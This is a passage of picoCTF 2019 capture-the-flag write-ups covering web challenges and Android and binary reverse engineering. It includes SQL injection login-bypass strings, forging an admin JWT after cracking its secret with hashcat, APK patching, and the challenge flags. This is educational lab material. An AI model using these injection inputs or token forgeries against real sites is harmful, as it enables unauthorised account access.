    QR-Code:picoCTF{905765bf9ae368ad98261c10914d894e}
    scanned 1 barcode symbols from 1 images in 0.03 seconds
   ```

### Flag

`picoCTF{905765bf9ae368ad98261c10914d894e}`


# JaWT Scratchpad

## Problem

> Check the admin scratchpad! <https://2019shell1.picoctf.com/problem/12283/> or <http://2019shell1.picoctf.com:12283>

* [Website](https://2019shell1.picoctf.com/problem/12283/)

## Solution

1. Login as any user. I used `john`.
2. Get the `jwt token` from the `jwt cookie`. Example token: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiJ9._fAF3H23ckP4QtF1Po3epuZWxmbwpI8Q26hRPDTh32Y`
3. Paste the `jwt token` into a file called `token.txt`
4. Run this command with hashcat to crack the token: `hashcat -a0 -m 16500 token.txt rockyou.txt`
5. Run the same command but with `--show` to get the password used: `hashcat -a0 -m 16500 token.txt rockyou.txt --show`
6. Paste original token into <https://www.jsonwebtoken.io/>
7. Type password `ilovepico` into the `Signing Key` field and change `user` in the payload to `admin`
8. Copy and paste the new token into the `jwt cookie`
9. Refresh the page to get the flag

### Flag

`picoCTF{jawt_was_just_what_you_thought_9de8e25511a8841ab9ade0aa092be116}`


# Irish-Name-Repo 1

## Problem

> There is a website running at <https://2019shell1.picoctf.com/problem/37868/> (link) or <http://2019shell1.picoctf.com:37868>. Do you think you can log us in? Try to see if you can login!

* [Website](https://2019shell1.picoctf.com/problem/37868/)

## Solution

1. There is a hidden form field named `debug`. Set it to `1`.
2. Sign in as username: `' or '1'='1` and password: `' or '1'='1`

### Flag

`picoCTF{s0m3_SQL_a57b0b1d}`


# Irish-Name-Repo 2

## Problem

> There is a website running at <https://2019shell1.picoctf.com/problem/58043/> (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or <http://2019shell1.picoctf.com:58043>

* [Website](https://2019shell1.picoctf.com/problem/58043/)

## Solution

1. There is a hidden form field named `debug`. Set it to `1`.
2. Sign in as username: `admin' --` and password: `doesn't matter`

### Flag

`picoCTF{m0R3_SQL_plz_c9c1c726}`


# Irish-Name-Repo 3

## Problem

> There is a secure website running at <https://2019shell1.picoctf.com/problem/32237/> (link) or <http://2019shell1.picoctf.com:32237>. Try to see if you can login as admin!

* [Website](https://2019shell1.picoctf.com/problem/32237/)

## Solution

1. There is a hidden form field named `debug`. Set it to `1`.
2. Sign in as password: `abcdefghijklmnopqrstuvwxyz`
3. Decode caesar cipher that is shown: `nopqrstuvwxyzabcdefghijklm` with <https://cryptii.com/pipes/caesar-cipher> to find `13` is the offset
4. Encode `' or '1'='1` with offset `13` with same website to get `' be '1'='1`
5. Paste `' be '1'='1` into password to get flag

### Flag

`picoCTF{3v3n_m0r3_SQL_5c27c4ea}`


# Reverse Engineering


# Time's Up, Again!

## Problem

> Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve *this one* before time runs out? times-up-again, located in the directory at /problems/time-s-up--again-\_1\_014490a2cb518921928db099702cbfd9.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20Again!/times-up-again/README.md)

## Solution

1. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    undefined8 main(void)

    {
    init_randomness();
    printf("Challenge: ");
    generate_challenge();
    putchar(10);
    fflush(stdout);
    puts("Setting alarm...");
    fflush(stdout);
    ualarm(200,0);
    printf("Solution? ");
    __isoc99_scanf(&DAT_00100efb,&guess);
    if (guess == result) {
        puts("Congrats! Here is the flag.txt!");
        system("/bin/cat flag.txt");
    }
    else {
        puts("Nope!");
    }
    return 0;
    }
   ```

   We cannot use the same script as in the previous challenge, `Time's Up`, because we only have 200 uSeconds. `pwntools` is too slow.
2. We will use `SIGSTOP` and `SIGCONT` to pause to resume the program before the timer can expire. Wikipedia description of `SIGSTOP` and `SIGCONT`: "When SIGSTOP is sent to a process, the usual behaviour is to pause that process in its current state. The process will only resume execution if it is sent the SIGCONT signal. SIGSTOP and SIGCONT are used for job control in the Unix shell, among other purposes. SIGSTOP cannot be caught or ignored."
3. The [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20Again!/script.py) works by:
   1. Running [times-up-again](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20Again!/times-up-again/README.md)
   2. Waiting for...
      * the moment right before the alarm is about to go off (which would trigger the `SIGALRM` signal and end the program)
      * the moment after the problem has been printed
   3. Pausing the program with the `SIGSTOP` signal
   4. Solving the mathematical equation given by the program using `eval()`
   5. Sending the answer and a newline
   6. Flushing the `stdin` and resuming the program by sending the `SIGCONT` signal
   7. Waiting 0.2 seconds for the program to output success or failure.
   8. Checking 4 lines of output for the word "pico". If it is found, the line is printed and the program ends. If "pico" does not appear, restart from step 1.
4. I tweaked the sleep amount and settled on `0.000175` seconds since it works well most of the time.
5. I attempted to use the threading.Timer class, as discussed in this [StackOverflow answer](https://stackoverflow.com/a/10012262), in order to handle the rare cases that make the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20Again!/script.py) appear to hang. However, using it caused delays and messed with the exact timing needed to run this script.
6. The original program was likely written in a language that does not implicitly support arbitrary-percision integers (`python` does). Also, the binary is only 64-bit: `times-up-again: ELF 64-bit LSB shared object` (output from `file times-up-again`). Thus, any integer we want to pass into the program we should turn back into 64-bit. This can be done with `%pow(2,64)` or `%(1 << 64)`. Other write-ups used `ctypes.c_longlong` instead of these techniques, but I could not get this to work.
7. `SIGSTOP` cannot be caught, which means the process doesn't even know it ever received the signal.
8. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20Again!/script.py). If it hangs for more than a second, kill it with `^C` and rerun. It will work eventually. Example output below (only two tries!):

   ```
    $ python script.py 
    Iteration #0
    Challenge:  (((((-1886135413) * (-687120364)) + ((294269581) * (1582871241))) - ((((-17798219) * (1585379416)) * (1261009084)) * ((-43416399) + (1227394943)))) - ((((-1868099744) * (388792763)) + ((-761322635) * (-1904639340))) + (((423915198) + (938350835)) + ((898339908) + (-1468634992)))))

    Answer: 42128093804841937203064357319295560
    Iteration #1
    Challenge:  (((((-1198557986) * (-1647142996)) + ((-1134528065) * (-441174539))) - ((((-1094944300) * (-239912724)) * (-770189614)) * ((230930317) + (638786821)))) - ((((910186477) * (-660748696)) + ((-1457806516) * (-2113165691))) + (((-894967377) + (1288049451)) + ((-1413128335) + (-1784259912)))))

    Answer: 175962852982823941714121282654933100
    picoCTF{Hasten. Hurry. Ferrociously Speedy. #3b0e50c7}

    It took 2 tries to get the flag.
   ```
9. Other Write-ups: [C program by Dvd848](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Times_Up_Again.md) ([Archive](https://web.archive.org/web/20200606231624/https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Times_Up_Again.md)) and [Python script that runs fast enough by AMACB](https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/times-up-again) ([Archive](https://web.archive.org/web/20200606231633/https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/times-up-again))

### Flag

`picoCTF{Hasten. Hurry. Ferrociously Speedy. #3b0e50c7}`


# Forky

## Problem

> In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky\_5\_4f100885e708548a54f8c5668f9821c1 on the shell server.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Forky/vuln/README.md)

## Solution

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

    undefined4 main(void)

    {
    int *piVar1;

    piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
    *piVar1 = 1000000000;
    fork();
    fork();
    fork();
    fork();
    *piVar1 = *piVar1 + 0x499602d2;
    doNothing(*piVar1);
    return 0;
    }
   ```

   `doNothing()` function:

   ```cpp
    void doNothing(void)

    {
    __x86.get_pc_thunk.ax();
    return;
    }
   ```
2. So this program recursively forks itself and calls `doNothing()`. We need to identify last integer value that is passed as parameter to `doNothing()`.
3. The first process forks itself, creating 2 child processes. Those two children fork, creating 4 child processes. We have now executed 2 of the 4 calls to `fork()`. We fork the 4 children, doubling again to create 8 child processes. Now we only have 1 call to `fork()` left. We fork the 8 children, resulting in 16 child processes. More info about `fork()` on [GeeksforGeeks](https://www.geeksforgeeks.org/fork-system-call/). The diagram below shows this happening (each `0` is a process):

   ```
    +
    |
    +-----------------------------------+
    |                                   |
    +-----------------+                 +-----------------+
    |                 |                 |                 |
    +--------+        +--------+        +--------+        +--------+
    |        |        |        |        |        |        |        |
    +---+    +---+    +---+    +---+    +---+    +---+    +---+    +---+  
    |   |    |   |    |   |    |   |    |   |    |   |    |   |    |   |  
    O   O    O   O    O   O    O   O    O   O    O   O    O   O    O   O
   ```
4. Therefore, all we need to do is calculate `1000000000 + (16 * 0x499602d2)`. The program creates 16 processes, each of which adds `0x499602d2` to the initial value `1000000000`.
5. Run the calculation using python: `python -c "from numpy import int32;print(int32(1000000000) + int32(16)*int32(0x499602d2))"` to get `-721750240`. Here, we use the numpy.int32 datatype (generic unsigned integer) since it overflows just like in C. More info on [this blog post from Loïc Pefferkorn](https://loicpefferkorn.net/2013/09/python-force-c-integer-overflow-behavior/) ([Archive](https://web.archive.org/web/20200612220223/https://loicpefferkorn.net/2013/09/python-force-c-integer-overflow-behavior/)) and [this StackOverflow answer](https://stackoverflow.com/a/16745427) ([Archive](https://web.archive.org/web/20200612220238/https://stackoverflow.com/questions/16745387/python-32-bit-and-64-bit-integer-math-with-intentional-overflow/16745427)).
6. Another way to use python to compute the answer is to use `ctypes`:

   ```python
    import ctypes
    ctypes.c_int32(0x3B9ACA00 + 16*0x499602D2)
    c_int(-721750240)
   ```

### Flag

`picoCTF{-721750240}`


# droids0

## Problem

> Where do droid logs go. Check out this file. You can also find the file in /problems/droids0\_0\_205f7b4a3b23490adffddfcfc45a2ca3.

* [APK File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids0/zero.apk)

## Solution

1. Open the APK file in [Android Studio](https://developer.android.com/studio). Clicking the button in the app logs the flag to logcat. I searched for `picoCTF` in logcat.
2. Android Studio Notes:
   * Virtual devices can be created in `Tools > AVD Manager`.
   * To change the storage location of the device ([source](https://stackoverflow.com/a/52059066)):
     1. Create a new virtual device. Don't launch the AVD after created successfully.
     2. In AVD Manager, right click on the new created AVD and select "Show on Disk".
     3. Move the folder that is called "yourAVDname.avd" to the desired location.
     4. Open the INI file that called "yourAVDname.ini" using text editor, then replace the value of path with your desired location path.
     5. Now, launch the AVD from AVD Manager.

### Flag

`picoCTF{a.moose.once.bit.my.sister}`


# Challenge Name

### Problem

> The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Need%20For%20Speed/need-for-speed/README.md)

### Solution

1. Run the program \`chmod +x need-for-speed && ./need-for-speed:

   ```
    Keep this thing over 50 mph!
    ============================

    Creating key...
    Not fast enough. BOOM!
   ```
2. Run the program in GDB and ignore SIGALRM messages:

   ```
    $ gdb ./need-for-speed
    (gdb) handle SIGALRM ignore
    Signal        Stop      Print   Pass to program Description
    SIGALRM       No        No      No              Alarm clock
    (gdb) r
    Starting program: ~/Documents/PicoCTF/Reverse Engineering/Need For Speed/need-for-speed 
    Keep this thing over 50 mph!
    ============================

    Creating key...
    Finished
    Printing flag:
    PICOCTF{Good job keeping bus #3b89d39c speeding along!}
    [Inferior 1 (process 66066) exited normally]
   ```

   More Info: [StackOverflow](https://stackoverflow.com/questions/26145952/gdb-sigalrm-alarm-clock-termination)
3. Alternative Method 1: Run in GDB and skip the `set_timer()` function:

   \`\`\` (gdb) break set\_timer Breakpoint 1 at 0x883 (gdb) r Starting program: \~/Documents/PicoCTF/Reverse Engineering/Need For Speed/need-for-speed

   **Keep this thing over 50 mph!**

````
Breakpoint 1, 0x0000555555554883 in set_timer ()
(gdb) return
Make selected stack frame return now? (y or n) y
#0  0x0000555555554997 in main ()
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Creating key...
Finished
Printing flag:
PICOCTF{Good job keeping bus #3b89d39c speeding along!}
__libc_start_main (main=0x555555554974 <main>, argc=1, argv=0x7fffffffdb58, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdb48) at ../csu/libc-start.c:342
342     ../csu/libc-start.c: No such file or directory.
```

* [GDB Skip Command StackOverflow](https://stackoverflow.com/questions/1133365/preventing-gdb-from-stepping-into-a-function-or-file)
* [GDB Continuing and Skipping Documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/Continuing-and-Stepping.html)
* [GDB Skipping Over Functions and Files Documentation](https://sourceware.org/gdb/onlinedocs/gdb/Skipping-Over-Functions-and-Files.html)
````

1. Alternative Method 2: Only calling the needed functions:

   ```
    (gdb) break main
    Breakpoint 1 at 0x978
    (gdb) r
    Starting program: ~/Documents/PicoCTF/Reverse Engineering/Need For Speed/need-for-speed

    Breakpoint 1, 0x0000555555554978 in main ()
    (gdb) call (int) get_key()
    Creating key...
    Finished
    $1 = 9
    (gdb) call (int) print_flag()
    Printing flag:
    PICOCTF{Good job keeping bus #3b89d39c speeding along!}
    $3 = 56
   ```

   * [GDB Function Calling Documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/Calling.html)
   * [GDB Variables Documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/Variables.html)
2. Alternative Method 3: Bypass the long loop:

   ```
    (gdb) break main
    Breakpoint 1 at 0x978
    (gdb) r
    Starting program: ~/Documents/PicoCTF/Reverse Engineering/Need For Speed/need-for-speed

    Breakpoint 1, 0x0000555555554978 in main ()
    (gdb) call (int) decrypt_flag(0xe99d7887)
    $1 = 55
    (gdb) call (int) print_flag()
    Printing flag:
    PICOBTD{Eold$jkb%kceviig(b}s)#9b29o35c,s}ekdgnh qlnv!o
    $2 = 56
    (gdb) call (int) print_flag()
    Printing flag:
    PICOCTF{Good job keeping bus #3b89d39c speeding along!}
    $3 = 56
   ```

   The `key` value can be found with Ghidra.
3. The significant functions as decompiled by Ghidra can be found in [ghidra.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Need%20For%20Speed/ghidra.c)

#### Flag

`PICOCTF{Good job keeping bus #3b89d39c speeding along!}`


# droids1

## Problem

> Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids1\_0\_b7f94e21c7e45e6604972f9bc3f50e24.

* [APK File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids1/one.apk)

## Solution

1. Decompile the APK using [apktool](https://ibotpeaches.github.io/Apktool), as suggested by the hint: `apktool d one.apk`:

   ```
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    I: Using Apktool 2.4.1-dirty on one.apk
    I: Loading resource table...
    I: Decoding AndroidManifest.xml with resources...
    I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
    I: Regular manifest package...
    I: Decoding file-resources...
    I: Decoding values */* XMLs...
    I: Baksmaling classes.dex...
    I: Copying assets and libs...
    I: Copying unknown files...
    I: Copying original files...
   ```

   Alternatively, you can use [JADX](https://github.com/skylot/jadx) to decompile and look around in a GUI. This is the method used in this write-up.

   JADX Install:

   ```
    wget https://github.com/skylot/jadx/releases/download/v1.1.0/jadx-1.1.0.zip
    unzip jadx-1.1.0.zip -d jadx
    cd jadx
    sudo mkdir /opt/jadx
    sudo mv * /opt/jadx
    cd /opt/jadx/bin
    ./jadx-gui
   ```
2. Launch `jadx-gui` and open `one.apk`
3. In the `MainActivity` the button click code can be seen:

   ```java
    public void buttonClick(View view) {
        this.text_bottom.setText(FlagstaffHill.getFlag(this.text_input.getText().toString(), this.ctx));
    }
   ```
4. The `getFlag()` function is as follows:

   ```java
    public static String getFlag(String input, Context ctx) {
        if (input.equals(ctx.getString(R.string.password))) {
            return fenugreek(input);
        }
        return "NOPE";
    }
   ```

   It checks if the input is `R.string.password`, and if it matches then the flag is shown.
5. Go to `R > string > password` in the explorer to find `public static final int password = 2131427375;`. It is accessing resource \`2131427375.
6. Go to `Resources > resources.arsc > res > values > strings.xml` since the password is probably a string. We find: `<string name="password">opossum</string>`
7. Start an AVD in [Android Studio](https://developer.android.com/studio). Install the app by dragging the APK to the emulator. Enter the password, `opossum`, and click the button to get the flag. ![Screenshot of the app with flag output](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fe3023b109528bfb022679d3c4b2a44174e288db8.png?generation=1619558785388554\&alt=media)

### Flag

`picoCTF{pining.for.the.fjords}`


# droids2

## Problem

> Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2\_0\_bf474794b5a228db3498ba3198db54d7.

* [APK File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids2/two.apk)

## Solution

1. Use [JADX](https://github.com/skylot/jadx) to decompile and look around in a GUI. Launch `jadx-gui` and open `two.apk` ![JADX interface](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Ffdeceb3b192f9b0a61d5c87517f028f6d82487a6.png?generation=1619558783345037\&alt=media)
2. In the `MainActivity` the button click code can be seen:

   ```java
    public void buttonClick(View view) {
        this.text_bottom.setText(FlagstaffHill.getFlag(this.text_input.getText().toString(), this.ctx));
    }
   ```
3. The `getFlag()` function is as follows:

   ```java
    public static String getFlag(String input, Context ctx) {
        String[] witches = {"weatherwax", "ogg", "garlick", "nitt", "aching", "dismass"};
        int second = 3 - 3;
        int third = (3 / 3) + second;
        int fourth = (third + third) - second;
        int fifth = 3 + fourth;
        if (input.equals("".concat(witches[fifth]).concat(".").concat(witches[third]).concat(".").concat(witches[second]).concat(".").concat(witches[(fifth + second) - third]).concat(".").concat(witches[3]).concat(".").concat(witches[fourth]))) {
            return sesame(input);
        }
        return "NOPE";
    }
   ```

   Reversing this logic means the password should be: `dismass.ogg.weatherwax.aching.nitt.garlick`
4. Start an AVD in [Android Studio](https://developer.android.com/studio). Install the app by dragging the APK to the emulator. Enter the password, `dismass.ogg.weatherwax.aching.nitt.garlick`, and click the button to get the flag. ![Screenshot of the app with flag output](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fef25413db8972356f1bd322959a3cec031020b71.png?generation=1619558783560644\&alt=media)

### Flag

`picoCTF{what.is.your.favourite.colour}`


# droids3

## Problem

> Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids3\_0\_b475775d8018b2a030a38c40e3b0e25c.

* [APK File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids3/three.apk)

## Solution

1. Use [JADX](https://github.com/skylot/jadx) to decompile and look around in a GUI. Launch `jadx-gui` and open `three.apk` ![JADX interface](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F87e395fee19085914cb36ec563d286566aaa373a.png?generation=1619558782790425\&alt=media)
2. The `FlagstaffHill` class (contains `getFlag()` function) is as follows:

   ```java
    public class FlagstaffHill {
        public static native String cilantro(String str);

        public static String nope(String input) {
            return "don't wanna";
        }

        public static String yep(String input) {
            return cilantro(input);
        }

        public static String getFlag(String input, Context ctx) {
            return nope(input);
        }
    }
   ```

   We can see that `getFlag()` calls `nope()`. `yep()` is never called. The `yep()` function most likely returns the flag.
3. Run `apktool d three.apk --no-res` to decompile without resources (decompiling resources was causing build errors).
4. Edit `three/smali/com/hellocmu/picoctf/FlagstaffHill.smali`: Change `invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->nope(Ljava/lang/String;)Ljava/lang/String;` to `invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->yep(Ljava/lang/String;)Ljava/lang/String;`
5. Rebuild the application: `apktool b three -o recompiled/recompiled_three.apk`
6. Use [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) [latest release](https://github.com/patrickfav/uber-apk-signer/releases/latest) to sign the app:

   ```
    wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.1.0/uber-apk-signer-1.1.0.jar
    java -jar uber-apk-signer-1.1.0.jar --apks recompiled
   ```

   This produces the `recompiled_three-aligned-debugSigned.apk` file, which can be installed.
7. Start an AVD in [Android Studio](https://developer.android.com/studio). Install the app by dragging the APK to the emulator. Enter any password and click the button to get the flag. ![Screenshot of the app with flag output](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fcc9f51bf05ad0ade3e45cac22adbc54a25871e5c.png?generation=1619558782463955\&alt=media)

### Flag

`picoCTF{tis.but.a.scratch}`


# reverse\_cipher

## Problem

> We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher\_0\_b784b7d0e499d532eba7269bfdf6a21d on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/reverse_cipher/vuln/README.md)
* [Text file](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/reverse_cipher/vuln.c)

## Solution

1. `cat rev_this` shows `picoCTF{w1{1wq87g_9654g}`.
2. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)):

   ```cpp
    void main(void)

    {
    size_t sVar1;
    char local_58 [23];
    char local_41;
    int local_2c;
    FILE *local_28;
    FILE *local_20;
    uint local_14;
    int local_10;
    char local_9;

    local_20 = fopen("flag.txt","r");
    local_28 = fopen("rev_this","a");
    if (local_20 == (FILE *)0x0) {
        puts("No flag found, please make sure this is run on the server");
    }
    if (local_28 == (FILE *)0x0) {
        puts("please run this on the server");
    }
    sVar1 = fread(local_58,0x18,1,local_20);
    local_2c = (int)sVar1;
    if ((int)sVar1 < 1) {
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    local_10 = 0;
    while (local_10 < 8) {
        local_9 = local_58[local_10];
        fputc((int)local_9,local_28);
        local_10 = local_10 + 1;
    }
    local_14 = 8;
    while ((int)local_14 < 0x17) {
        if ((local_14 & 1) == 0) {
        local_9 = local_58[(int)local_14] + '\x05';
        }
        else {
        local_9 = local_58[(int)local_14] + -2;
        }
        fputc((int)local_9,local_28);
        local_14 = local_14 + 1;
    }
    local_9 = local_41;
    fputc((int)local_41,local_28);
    fclose(local_28);
    fclose(local_20);
    return;
    }
   ```

   This is just a simple script that performs a few shifts on the characters of the flag. Characters 0-7 are left as is. Characters 8-22 alternate between adding 5 and subtracting 2, starting with adding 5. `local_14 & 1` does a bitwise AND between the current iteration number and 1. The if statement checks if this equals `0`. It will equal `0` every other iteration because `& 1` checks if the last bit is 0 or 1 and returns 1 if the last bit is 1, and otherwise returns 0. Finally, the last character (the 23rd one) is added on to the file as is.
3. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/reverse_cipher/script.py) to reverse this logic and get the flag.

### Flag

`picoCTF{r3v3rs39ba4806b}`


# droids4

## Problem

> reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4\_0\_99ba4f323d3d194b5092bf43d97e9ce9.

* [APK File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids4/three.apk)

## Solution

1. Use [JADX](https://github.com/skylot/jadx) to decompile and look around in a GUI. Launch `jadx-gui` and open `four.apk`
2. The `getFlag()` function is as follows:

   ```java
    public static String getFlag(String input, Context ctx) {
        StringBuilder ace = new StringBuilder("aaa");
        StringBuilder jack = new StringBuilder("aaa");
        StringBuilder queen = new StringBuilder("aaa");
        StringBuilder king = new StringBuilder("aaa");
        ace.setCharAt(0, (char) (ace.charAt(0) + 4));
        ace.setCharAt(1, (char) (ace.charAt(1) + 19));
        ace.setCharAt(2, (char) (ace.charAt(2) + 18));
        jack.setCharAt(0, (char) (jack.charAt(0) + 7));
        jack.setCharAt(1, (char) (jack.charAt(1) + 0));
        jack.setCharAt(2, (char) (jack.charAt(2) + 1));
        queen.setCharAt(0, (char) (queen.charAt(0) + 0));
        queen.setCharAt(1, (char) (queen.charAt(1) + 11));
        queen.setCharAt(2, (char) (queen.charAt(2) + 15));
        king.setCharAt(0, (char) (king.charAt(0) + 14));
        king.setCharAt(1, (char) (king.charAt(1) + 20));
        king.setCharAt(2, (char) (king.charAt(2) + 15));
        if (input.equals("".concat(queen.toString()).concat(jack.toString()).concat(ace.toString()).concat(king.toString()))) {
            return "call it";
        }
        return "NOPE";
    }
   ```

   We can copy this into our own java program. Run [password.java](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids4/password.java) to get the password without having to manually decode the logic. Password is `alphabetsoup`.
3. Run `apktool d four.apk --no-res` to decompile without resources (decompiling resources was causing build errors).
4. Edit `four/smali/com/hellocmu/picoctf/FlagstaffHill.smali`: Change `const-string v5, "call it"` to `invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cardamom(Ljava/lang/String;)Ljava/lang/String;`. This change was made to call the actual function that gives the flag. Add `move-result-object v0` directly after the previous change and replace `return-object v5` with `return-object v0`.

   I figured out the syntax by using the last challenge (`droids3`) as a model since it contained the following lines:

   ```
    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cilantro(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    return-object v0
   ```

   In essence, replace this:

   ```
    const-string v5, "call it"

    return-object v5
   ```

   with this:

   ```
    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cardamom(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    return-object v0
   ```

   Use the `cardamom` function to get the flag because this line `public static native String cardamom(String str);` exists within the `FlagstaffHill` class.
5. Rebuild the application: `apktool b four -o recompiled/recompiled_four.apk`
6. Use [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer) [latest release](https://github.com/patrickfav/uber-apk-signer/releases/latest) to sign the app:

   ```
    wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.1.0/uber-apk-signer-1.1.0.jar
    java -jar uber-apk-signer-1.1.0.jar --apks recompiled
   ```

   This produces the `recompiled_four-aligned-debugSigned.apk` file, which can be installed.
7. Start an AVD in [Android Studio](https://developer.android.com/studio). Install the app by dragging the APK to the emulator. Enter the password, `alphabetsoup`, and click the button to get the flag. ![Screenshot of the app with flag output](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fbb5bd122c64733792072efe2e40b94e6e5d7e593.png?generation=1619558785193847\&alt=media)

### Flag

`picoCTF{not.particularly.silly}`

## Alternative Solution

1. Create an AVD in Android Studio through the AVD Manager that does not have the Play Store. I selected the Pixel 2, clicked "Clone Device...", and then hit "Finish" which created a device named "Pixel 2 (Edited)" without the icon in the Play Store category. Virtual devices without the Play Store can be rooted while those with it can not be easily rooted.
2. ADB is located at `~/Android/Sdk/platform-tools/adb` on linux. See this [StackOverflow Answer](https://android.stackexchange.com/a/94049) for other OS's.
3. Install Frida on the virtual device by following [their tutorial](https://frida.re/docs/android/). Download the latest release from their [releases page](https://github.com/frida/frida/releases). I downloaded `frida-server-12.9.7-android-x86.xz` because my virtual device is `x86`. This can be determiend by clicking the more options arrow in the AVD Manager and clicking "View Details".

   Decompress it with `unxz frida-server.xz`, then run the following:

   ```
    $ ~/Android/Sdk/platform-tools/adb -s emulator-5556 root # might be required
    $ ~/Android/Sdk/platform-tools/adb -s emulator-5556 push frida-server /data/local/tmp/
    $ ~/Android/Sdk/platform-tools/adb -s emulator-5556 shell "chmod 755 /data/local/tmp/frida-server"
    $ ~/Android/Sdk/platform-tools/adb -s emulator-5556 shell "/data/local/tmp/frida-server &"
    $ adb devices -l
   ```
4. Install Frida on your host OS with `pip install frida-tools` ([detailed instructions](https://frida.re/docs/installation/)).
5. Run `frida-ps -U` on your desktop to make sure everything is working. This should give you a process list.
6. Install `four.apk` by dragging it onto the emulator.
